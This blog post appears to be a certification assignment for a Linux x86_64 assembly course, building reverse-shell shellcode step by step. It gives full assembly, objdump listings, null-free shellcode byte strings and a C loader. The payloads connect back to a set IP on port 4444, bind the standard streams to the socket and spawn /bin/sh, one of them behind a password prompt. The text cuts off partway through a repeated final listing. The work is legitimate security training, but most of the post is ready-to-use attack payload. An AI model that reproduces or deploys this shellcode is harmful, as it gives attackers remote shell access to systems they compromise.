24 Minute Read
Student ID: SLAE64-1611

Assignment Two: Creating Shellcode to Open a Reverse Shell Over TCP in x86_64

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7

All code can be found in: https://github.com/securitychops/security-tube-slae64

All work was tested on a 64bit version of Ubuntu 18.04.1 LTS

TLDR; - JMP short Final_Shellcode


Part 1 of 2: Creating Shellcode to Open a Reverse Shell Over TCP in x86_64

If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode to Create a Reverse Shell Over TCP (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…

Below I present my initial port of the x86 reverse-shell code that was written for the 32bit version of the course Check it out GitHub

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
; File Name    : reverse-shell.nasm

global _start

section .text
_start:
    jmp real_start
    enter_password: db 'Enter the secret password to continue: ', 0xa

real_start:

    ; SYS_SOCKET    socket(2)

    ; rax : sys_socket 41
    ; rdi : int family
    ; rsi : int type
    ; rdx : int protocol

    xor rax, rax        ; need to zero our rax
                        ; so we can load it with 
                        ; the socket syscall 0x41

    mov rdi, rax        ; zeroing out rdi
    mov rsi, rdi        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    add rax, 41         ; setting rax to socket
    add rdi, 2          ; family / AF_INET
    add rsi, 1          ; type   / SOCK_STREAM
                        ; leave rdx alone since it is already 0x00

    syscall             ; make the call to socket
                        ; socketid will be in rax

    ; rax sys_connect 42
    ; rdi : file descriptor
    ; rsi : struct sockaddr *upeer_sockaddr
    ; rdx : int *upeer_addrlen

    xchg rdi, rax       ; move socketid into rdi
    
    xor rax, rax        ; zero out rax
                        ; rdi already contains socketid
    mov rsi, rax        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a

    push rdx

    mov dword [rsp-4], 0x1107010a ; moving in 10.1.7.17
                                  ; but we need to get it to
                                  ; 10.0.7.17 by subbing 01
                                  ; from 10.1.7.17 since our IP
                                  ; is 10.0.7.17

    sub byte [rsp-3], 1           ; sub 1 from x.1.x.x

    mov word [rsp-6], 0x5C11     ; port number (least significant 
                                 ; byte first ... 0x115C is 4444)
    mov word [rsp-8], 0xffff     ; AF_INET - which is 0x2 but we need
                                 ; to avoid nulls to we will start with
                                 ; 0xffff and subtract 0xfffd
    sub word [rsp-8], 0xfffd     ; this will take us back to 0x02

    sub rsp, 8                   ; realigning the stack

    xor rdx, rdx                 ; zero out rdx again

    add rdx, 16                  ; setting address length to 16

    mov rsi, rsp                 ; moving stack to rsi

    add rax, 42                  ; setting sys_connect into rax

    syscall

    ; rax : sys_dup2 33
    ; rdi : already contains clientid
    ; rsi : 1 to 3 in loop

    xor r9, r9          ; zeroing out loop counter

    loopin:
        xor rax, rax    ; zero out rax
        add rax, 33     ; setting rax to sys_dup2
        mov rsi, r9     ; move fileid to duplicate
        syscall         ; call dup2
        inc r9          ; increase r9 by 0x01
        cmp r9, 3       ; compare r9 to 0x03
        jne loopin

    ; We need to check for password here
    ; 1. ask for password
    ; 2. check password
    ; sys_read

    ; letup loop to checking the password
    checkpassword:

        ; sys_write
        ; rax : 1
        ; rdi : unsigned int fd : 1 for stdout
        ; rsi : const char *buf : string
        ; rdx : size_t count : how big

        xor rax, rax                  ; zero out rax
        mov rdx, rax                  ; zero out rdx
        inc rax                       ; increase rax to 1
        mov rdi, rax                  ; move 1 into rdi
        lea rsi, [rel enter_password] ; moving enter_password
        add rdx, 39                   ; setting size enter_password

        syscall

        ; sys_read
        ; rdi : unsigned int fd : 0 for stdin
        ; rsi : char *buf : stack?
        ; rdx : size_t count : how big

        xor rax, rax ; zero out rax
        mov rdi, rax ; zero out rdi
        mov rdx, rax ; zero out rdx

        ; leave rax alone since read is 0
        mov rsi, rsp    ; set buffer to stack
        add rdx, 8      ; setting size of Password

        syscall ; calling read

        mov rdi, rsp                ; setting rdi to input buffer
        mov rax, 0x64726f7773736150 ; moving Password into buffer
        scasd                       ; scanning for a match
        jne checkpassword           ; if not a match then re-ask for password

    ; sys_execve

    ; rax : sys_execve 59
    ; rdi : const char *filename
    ; rsi : const char *const argv[]
    ; rdx : const char *const envp[]

    xor rax, rax        ; zeroing out rax
    add rax, 59         ; setting rax to sys_execve

    xor r9, r9          ; zeroing out r9
    push r9             ; pushing null to stack

    mov rbx, 0x68732f6e69622f2f     ; moving "//bin/sh"
    push rbx                        ; pushing "//bin/sh"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;rsp now looks like: "//bin/sh,0x0000000000000000";
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    mov rdi, rsp        ; moving the param to rdi
                        ; rdi now contains "//bin/sh,0x0000000000000000"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; now we need to get 0x0000000000000000 into rdx
    push r9             ; r9 is still 0x0000000000000000 so push it to rsp
    mov rdx, rsp        ; we need to move a 0x0000000000000000 into
                        ; the third parameter in rdx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    ; the second parameter is needs to be "//bin/sh,0x0000000000000000"
    ; which we can accomplish by moving rdi onto the stack
    ; and then moving rsp into rsi since it will be on the stack

    push rdi            ; pushing "//bin/sh,0x0000000000000000" back to the stack
    mov  rsi, rsp       ; moving the address of rdi (on the stack) to ecx

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    syscall             ; calling sys_execve

Those Pesky Nulls Are No More Again!

So now we have an initial set of code that works, we need to now check it for nulls with the following command:

objdump -d -M intel reverse-shell

which produces the following output:

reverse-shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	eb 28                	jmp    4000aa <real_start>

0000000000400082 <enter_password>:
  400082:	45 6e                	rex.RB outs dx,BYTE PTR ds:[rsi]
  400084:	74 65                	je     4000eb <real_start+0x41>
  400086:	72 20                	jb     4000a8 <enter_password+0x26>
  400088:	74 68                	je     4000f2 <real_start+0x48>
  40008a:	65 20 73 65          	and    BYTE PTR gs:[rbx+0x65],dh
  40008e:	63 72 65             	movsxd esi,DWORD PTR [rdx+0x65]
  400091:	74 20                	je     4000b3 <real_start+0x9>
  400093:	70 61                	jo     4000f6 <real_start+0x4c>
  400095:	73 73                	jae    40010a <loopin+0x2>
  400097:	77 6f                	ja     400108 <loopin>
  400099:	72 64                	jb     4000ff <real_start+0x55>
  40009b:	20 74 6f 20          	and    BYTE PTR [rdi+rbp*2+0x20],dh
  40009f:	63 6f 6e             	movsxd ebp,DWORD PTR [rdi+0x6e]
  4000a2:	74 69                	je     40010d <loopin+0x5>
  4000a4:	6e                   	outs   dx,BYTE PTR ds:[rsi]
  4000a5:	75 65                	jne    40010c <loopin+0x4>
  4000a7:	3a 20                	cmp    ah,BYTE PTR [rax]
  4000a9:	0a                   	.byte 0xa

00000000004000aa <real_start>:
  4000aa:	48 31 c0             	xor    rax,rax
  4000ad:	48 89 c7             	mov    rdi,rax
  4000b0:	48 89 fe             	mov    rsi,rdi
  4000b3:	48 89 f2             	mov    rdx,rsi
  4000b6:	48 83 c0 29          	add    rax,0x29
  4000ba:	48 83 c7 02          	add    rdi,0x2
  4000be:	48 83 c6 01          	add    rsi,0x1
  4000c2:	0f 05                	syscall 
  4000c4:	48 97                	xchg   rdi,rax
  4000c6:	48 31 c0             	xor    rax,rax
  4000c9:	48 89 c6             	mov    rsi,rax
  4000cc:	48 89 f2             	mov    rdx,rsi
  4000cf:	52                   	push   rdx
  4000d0:	c7 44 24 fc 0a 01 07 	mov    DWORD PTR [rsp-0x4],0x1107010a
  4000d7:	11 
  4000d8:	80 6c 24 fd 01       	sub    BYTE PTR [rsp-0x3],0x1
  4000dd:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000e4:	66 c7 44 24 f8 ff ff 	mov    WORD PTR [rsp-0x8],0xffff
  4000eb:	66 83 6c 24 f8 fd    	sub    WORD PTR [rsp-0x8],0xfffd
  4000f1:	48 83 ec 08          	sub    rsp,0x8
  4000f5:	48 31 d2             	xor    rdx,rdx
  4000f8:	48 83 c2 10          	add    rdx,0x10
  4000fc:	48 89 e6             	mov    rsi,rsp
  4000ff:	48 83 c0 2a          	add    rax,0x2a
  400103:	0f 05                	syscall 
  400105:	4d 31 c9             	xor    r9,r9

0000000000400108 <loopin>:
  400108:	48 31 c0             	xor    rax,rax
  40010b:	48 83 c0 21          	add    rax,0x21
  40010f:	4c 89 ce             	mov    rsi,r9
  400112:	0f 05                	syscall 
  400114:	49 ff c1             	inc    r9
  400117:	49 83 f9 03          	cmp    r9,0x3
  40011b:	75 eb                	jne    400108 <loopin>

000000000040011d <checkpassword>:
  40011d:	48 31 c0             	xor    rax,rax
  400120:	48 89 c2             	mov    rdx,rax
  400123:	48 ff c0             	inc    rax
  400126:	48 89 c7             	mov    rdi,rax
  400129:	48 8d 35 52 ff ff ff 	lea    rsi,[rip+0xffffffffffffff52]        # 400082 <enter_password>
  400130:	48 83 c2 27          	add    rdx,0x27
  400134:	0f 05                	syscall 
  400136:	48 31 c0             	xor    rax,rax
  400139:	48 89 c7             	mov    rdi,rax
  40013c:	48 89 c2             	mov    rdx,rax
  40013f:	48 89 e6             	mov    rsi,rsp
  400142:	48 83 c2 08          	add    rdx,0x8
  400146:	0f 05                	syscall 
  400148:	48 89 e7             	mov    rdi,rsp
  40014b:	48 b8 50 61 73 73 77 	movabs rax,0x64726f7773736150
  400152:	6f 72 64 
  400155:	af                   	scas   eax,DWORD PTR es:[rdi]
  400156:	75 c5                	jne    40011d <checkpassword>
  400158:	48 31 c0             	xor    rax,rax
  40015b:	48 83 c0 3b          	add    rax,0x3b
  40015f:	4d 31 c9             	xor    r9,r9
  400162:	41 51                	push   r9
  400164:	48 bb 2f 2f 62 69 6e 	movabs rbx,0x68732f6e69622f2f
  40016b:	2f 73 68 
  40016e:	53                   	push   rbx
  40016f:	48 89 e7             	mov    rdi,rsp
  400172:	41 51                	push   r9
  400174:	48 89 e2             	mov    rdx,rsp
  400177:	57                   	push   rdi
  400178:	48 89 e6             	mov    rsi,rsp
  40017b:	0f 05                	syscall 


Since we wrote the code to not have any nulls we are free to convert it to shellcode. Doing so will involve borrowing the following most excellent command provided by Vivek during the SLAE64 course!

for i in $(objdump -D reverse-shell.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo


running that command against our object produces the following output:

\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05


which we can then insert into our proof of concept C program that will execute shellcode!

// Student ID   : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
// File Name    : shellcode.c

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c


which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to…

gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

At this point we have a fully functional application (with no stack protection) that can execute our shellcode simulating an exploitation!

Reverse Shell Connecting from Server:

Reverse Shell Connecting from Server


Part 2 of 2: DeNullin’ the SecurityTube Provided Reverse Shell Assembly Code

So for part two we are asked to take assembly code provided by our friends at SecurityTube for their reverse shell and remove all of the nulls that they were kind enough to leave in… ;)

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 


	mov rax, 41
	mov rdi, 2
	mov rsi, 1
	mov rdx, 0
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
	mov dword [rsp-4], 0x0100007f
	mov word [rsp-6], 0x5c11
	mov word [rsp-8], 0x2
	sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	mov rax, 42
	mov rsi, rsp
	mov rdx, 16
	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	mov rax, 33
        mov rsi, 0
        syscall

        mov rax, 33
        mov rsi, 1
        syscall

        mov rax, 33
        mov rsi, 2
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
 


Like last time lets start by compiling and then running objdump to figure out all the places where we are left with nulls.

objdump -d -M intel denull


Below is the dumped object output:

denull:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	b8 29 00 00 00       	mov    eax,0x29
  400085:	bf 02 00 00 00       	mov    edi,0x2
  40008a:	be 01 00 00 00       	mov    esi,0x1
  40008f:	ba 00 00 00 00       	mov    edx,0x0
  400094:	0f 05                	syscall 
  400096:	48 89 c7             	mov    rdi,rax
  400099:	48 31 c0             	xor    rax,rax
  40009c:	50                   	push   rax
  40009d:	c7 44 24 fc 7f 00 00 	mov    DWORD PTR [rsp-0x4],0x100007f
  4000a4:	01 
  4000a5:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000ac:	66 c7 44 24 f8 02 00 	mov    WORD PTR [rsp-0x8],0x2
  4000b3:	48 83 ec 08          	sub    rsp,0x8
  4000b7:	b8 2a 00 00 00       	mov    eax,0x2a
  4000bc:	48 89 e6             	mov    rsi,rsp
  4000bf:	ba 10 00 00 00       	mov    edx,0x10
  4000c4:	0f 05                	syscall 
  4000c6:	b8 21 00 00 00       	mov    eax,0x21
  4000cb:	be 00 00 00 00       	mov    esi,0x0
  4000d0:	0f 05                	syscall 
  4000d2:	b8 21 00 00 00       	mov    eax,0x21
  4000d7:	be 01 00 00 00       	mov    esi,0x1
  4000dc:	0f 05                	syscall 
  4000de:	b8 21 00 00 00       	mov    eax,0x21
  4000e3:	be 02 00 00 00       	mov    esi,0x2
  4000e8:	0f 05                	syscall 
  4000ea:	48 31 c0             	xor    rax,rax
  4000ed:	50                   	push   rax
  4000ee:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  4000f5:	2f 73 68 
  4000f8:	53                   	push   rbx
  4000f9:	48 89 e7             	mov    rdi,rsp
  4000fc:	50                   	push   rax
  4000fd:	48 89 e2             	mov    rdx,rsp
  400100:	57                   	push   rdi
  400101:	48 89 e6             	mov    rsi,rsp
  400104:	48 83 c0 3b          	add    rax,0x3b
  400108:	0f 05                	syscall


Just like in the previous blog post all we really need to do is go in and do the usual type of alterations, xor things and instead of doing a mov we will inc, add or sub where needed in order to get the values of the registers correct without the baggage of extra nulls that mov will bring!

global _start


_start:

	; sock = socket(AF_INET, SOCK_STREAM, 0)
	; AF_INET = 2
	; SOCK_STREAM = 1
	; syscall number 41 


	xor rax, rax
	mov rdi, rax
	mov rsi, rax
	mov rdx, rax
	add rax, 41
	add rdi, 2
	inc rsi
	syscall

	; copy socket descriptor to rdi for future use 

	mov rdi, rax


	; server.sin_family = AF_INET 
	; server.sin_port = htons(PORT)
	; server.sin_addr.s_addr = inet_addr("127.0.0.1")
	; bzero(&server.sin_zero, 8)

	xor rax, rax 

	push rax
	
        mov dword [rsp-4], 0x0101017f ; moving in 127.1.1.1
        sub byte [rsp-3], 1           ; sub 1 from x.1.x.x
        sub byte [rsp-2], 1           ; sub 1 from x.x.1.x
        mov word [rsp-6], 0x5c11      ; port 4444
        mov word [rsp-8], 0xffff      ; AF_INET - which is 0x2 but we need
                                      ; to avoid nulls to we will start with
                                      ; 0xffff and subtract 0xfffd
        sub word [rsp-8], 0xfffd      ; this will take us back to 0x02
        sub rsp, 8


	; connect(sock, (struct sockaddr *)&server, sockaddr_len)
	
	xor rax, rax
	mov rdx, rax
	add rax, 42
	mov rsi, rsp
	add rdx, 16
	syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
	xor rax, rax
        mov rsi, rax
	add rax, 33
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33
        inc rsi
        syscall

	xor rax, rax
	mov rsi, rax
        add rax, 33
        add rsi, 2
        syscall

        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall


Which produces the following null free objdump:

denull:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    rax,rax
  400083:	48 89 c7             	mov    rdi,rax
  400086:	48 89 c6             	mov    rsi,rax
  400089:	48 89 c2             	mov    rdx,rax
  40008c:	48 83 c0 29          	add    rax,0x29
  400090:	48 83 c7 02          	add    rdi,0x2
  400094:	48 ff c6             	inc    rsi
  400097:	0f 05                	syscall 
  400099:	48 89 c7             	mov    rdi,rax
  40009c:	48 31 c0             	xor    rax,rax
  40009f:	50                   	push   rax
  4000a0:	c7 44 24 fc 7f 01 01 	mov    DWORD PTR [rsp-0x4],0x101017f
  4000a7:	01 
  4000a8:	80 6c 24 fd 01       	sub    BYTE PTR [rsp-0x3],0x1
  4000ad:	80 6c 24 fe 01       	sub    BYTE PTR [rsp-0x2],0x1
  4000b2:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000b9:	66 c7 44 24 f8 ff ff 	mov    WORD PTR [rsp-0x8],0xffff
  4000c0:	66 83 6c 24 f8 fd    	sub    WORD PTR [rsp-0x8],0xfffd
  4000c6:	48 83 ec 08          	sub    rsp,0x8
  4000ca:	48 31 c0             	xor    rax,rax
  4000cd:	48 89 c2             	mov    rdx,rax
  4000d0:	48 83 c0 2a          	add    rax,0x2a
  4000d4:	48 89 e6             	mov    rsi,rsp
  4000d7:	48 83 c2 10          	add    rdx,0x10
  4000db:	0f 05                	syscall 
  4000dd:	48 31 c0             	xor    rax,rax
  4000e0:	48 89 c6             	mov    rsi,rax
  4000e3:	48 83 c0 21          	add    rax,0x21
  4000e7:	0f 05                	syscall 
  4000e9:	48 31 c0             	xor    rax,rax
  4000ec:	48 89 c6             	mov    rsi,rax
  4000ef:	48 83 c0 21          	add    rax,0x21
  4000f3:	48 ff c6             	inc    rsi
  4000f6:	0f 05                	syscall 
  4000f8:	48 31 c0             	xor    rax,rax
  4000fb:	48 89 c6             	mov    rsi,rax
  4000fe:	48 83 c0 21          	add    rax,0x21
  400102:	48 83 c6 02          	add    rsi,0x2
  400106:	0f 05                	syscall 
  400108:	48 31 c0             	xor    rax,rax
  40010b:	50                   	push   rax
  40010c:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  400113:	2f 73 68 
  400116:	53                   	push   rbx
  400117:	48 89 e7             	mov    rdi,rsp
  40011a:	50                   	push   rax
  40011b:	48 89 e2             	mov    rdx,rsp
  40011e:	57                   	push   rdi
  40011f:	48 89 e6             	mov    rsi,rsp
  400122:	48 83 c0 3b          	add    rax,0x3b
  400126:	0f 05                	syscall 


And the shellcode just for good measure!

\x48\x31\xc0\x48\x89\xc7\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\xff\xc6\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x80\x6c\x24\xfd\x01\x80\x6c\x24\xfe\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05


Final_Shellcode:

Below are the contents of the final code needed to generate a tcp reverse shell that that will connect to 10.0.7.17 on port 4444.

Our Reverse Shell Assembly Code in x86_64 (Part 1)

; Student ID   : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
; File Name    : reverse-shell.nasm

global _start

section .text
_start:
    jmp real_start
    enter_password: db 'Enter the secret password to continue: ', 0xa

real_start:

    ; SYS_SOCKET    socket(2)

    ; rax : sys_socket 41
    ; rdi : int family
    ; rsi : int type
    ; rdx : int protocol

    xor rax, rax        ; need to zero our rax
                        ; so we can load it with 
                        ; the socket syscall 0x41

    mov rdi, rax        ; zeroing out rdi
    mov rsi, rdi        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    add rax, 41         ; setting rax to socket
    add rdi, 2          ; family / AF_INET
    add rsi, 1          ; type   / SOCK_STREAM
                        ; leave rdx alone since it is already 0x00

    syscall             ; make the call to socket
                        ; socketid will be in rax

    ; rax sys_connect 42
    ; rdi : file descriptor
    ; rsi : struct sockaddr *upeer_sockaddr
    ; rdx : int *upeer_addrlen

    xchg rdi, rax       ; move socketid into rdi
    
    xor rax, rax        ; zero out rax
                        ; rdi already contains socketid
    mov rsi, rax        ; zeroing out rsi
    mov rdx, rsi        ; zeroing out rdx

    ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a

    push rdx

    mov dword [rsp-4], 0x1107010a ; moving in 10.1.7.17
                                  ; but we need to get it to
                                  ; 10.0.7.17 by subbing 01
                                  ; from 10.1.7.17 since our IP
                                  ; is 10.0.7.17

    sub byte [rsp-3], 1           ; sub 1 from x.1.x.x

    mov word [rsp-6], 0x5C11     ; port number (least significant 
                                 ; byte first ... 0x115C is 4444)
    mov word [rsp-8], 0xffff     ; AF_INET - which is 0x2 but we need
                                 ; to avoid nulls to we will start with
                                 ; 0xffff and subtract 0xfffd
    sub word [rsp-8], 0xfffd     ; this will take us back to 0x02

    sub rsp, 8                   ; realigning the stack

    xor rdx, rdx                 ; zero out rdx again

    add rdx, 16                  ; setting address length to 16

    mov rsi, rsp                 ; moving stack to rsi

    add rax, 42                  ; setting sys_connect into rax

    syscall

    ; rax : sys_dup2 33
    ; rdi : already contains clientid
    ; rsi : 1 to 3 in loop

    xor r9, r9          ; zeroing out loop counter

    loopin:
        xor rax, rax    ; zero out rax
        add rax, 33     ; setting rax to sys_dup2
        mov rsi, r9     ; move fileid to duplicate
        syscall         ; call dup2
        inc r9          ; increase r9 by 0x01
        cmp r9, 3       ; compare r9 to 0x03
        jne loopin

    ; We need to check for password here
    ; 1. ask for password
    ; 2. check password
    ; sys_read

    ; letup loop to checking the password
    checkpassword:

        ; sys_write
        ; rax : 1
        ; rdi : unsigned int fd : 1 for stdout
        ; rsi : const char *buf : string
        ; rdx : size_t count : how big

        xor rax, rax                  ; zero out rax
        mov rdx, rax                  ; zero out rdx
        inc rax                       ; increase rax to 1
        mov rdi, rax                  ; move 1 into rdi
        lea rsi, [rel enter_password] ; moving enter_password
        add rdx, 39                   ; setting size enter_password

        syscall

        ; sys_read
        ; rdi : unsigned int fd : 0 for stdin
        ; rsi : char *buf : stack?
        ; rdx : size_t count : how big

        xor rax, rax ; zero out rax
        mov rdi, rax ; zero out rdi
        mov rdx, rax ; zero out rdx

        ; leave rax alone since read is 0
        mov rsi, rsp    ; set buffer to stack
        add rdx, 8      ; setting size of Password

        syscall ; calling read

        mov rdi, rsp                ; setting rdi to input buffer
        mov rax, 0x64726f7773736150 ; moving Password into buffer
        scasd                       ; scanning for a match
        jne checkpassword           ; if not a match then re-ask for password

    ; sys_execve

    ; rax : sys_execve 59
    ; rdi : const char *filename
    ; rsi : const char *const argv[]
    ; rdx : const char *const envp[]

    xor rax, rax        ; zeroing out rax
    add rax, 59         ; setting rax to sys_execve

    xor r9, r9          ; zeroing out r9
    push r9             ; pushing null to stack

    mov rbx, 0x68732f6e69622f2f     ; moving "//bin/sh"
    push rbx                        ; pushing "//bin/sh"

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;rsp now looks like: "//bin/sh,0x0000000000000000";
